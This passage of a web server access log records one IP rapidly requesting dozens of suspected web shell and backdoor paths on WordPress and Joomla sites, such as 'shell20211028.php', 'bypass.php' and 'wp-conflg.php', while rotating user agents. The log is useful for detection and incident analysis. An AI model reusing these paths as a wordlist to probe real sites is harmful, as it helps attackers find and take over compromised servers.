Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:55 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:43:56 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:43:56 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:43:57 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:43:58 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:43:58 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:43:59 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:43:59 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:00 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:00 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 103.214.20.190 - - [09/Apr/2026:00:44:01 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:01 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:02 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:02 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:03 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:04 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:04 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:04 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:44:05 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:06 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:44:06 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:07 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:07 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:08 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:44:08 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:09 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:09 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:10 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:10 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:44:11 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:11 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:12 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:12 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:13 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:13 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:14 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:14 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:44:15 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:15 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:16 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:44:16 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:17 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:17 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:18 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.190 - - [09/Apr/2026:00:44:19 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 103.214.20.190 - - [09/Apr/2026:00:44:19 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:20 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:20 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:44:21 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:21 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:22 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:44:22 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.190 - - [09/Apr/2026:00:44:23 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:23 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:44:24 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:24 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:25 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:44:25 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:26 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 103.214.20.190 - - [09/Apr/2026:00:44:26 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:27 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:27 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:28 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:28 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:44:29 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:29 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 103.214.20.190 - - [09/Apr/2026:00:44:30 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:30 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:44:31 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:31 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 103.214.20.190 - - [09/Apr/2026:00:44:32 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 103.214.20.190 - - [09/Apr/2026:00:44:33 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:33 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:34 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:34 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:35 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:35 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:36 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:36 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:37 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:44:37 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:38 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 103.214.20.190 - - [09/Apr/2026:00:44:38 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:39 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:39 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 103.214.20.190 - - [09/Apr/2026:00:44:40 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:40 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 103.214.20.190 - - [09/Apr/2026:00:44:41 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:41 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:42 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:42 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 103.214.20.190 - - [09/Apr/2026:00:44:43 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:43 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:44 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:44 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:45 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:45 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:46 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:46 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 103.214.20.190 - - [09/Apr/2026:00:44:47 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:47 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:48 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:48 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:49 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:49 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:50 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:50 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:51 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 103.214.20.190 - - [09/Apr/2026:00:44:51 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 103.214.20.190 - - [09/Apr/2026:00:44:52 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:52 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:53 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:53 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.214.20.190 - - [09/Apr/2026:00:44:54 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 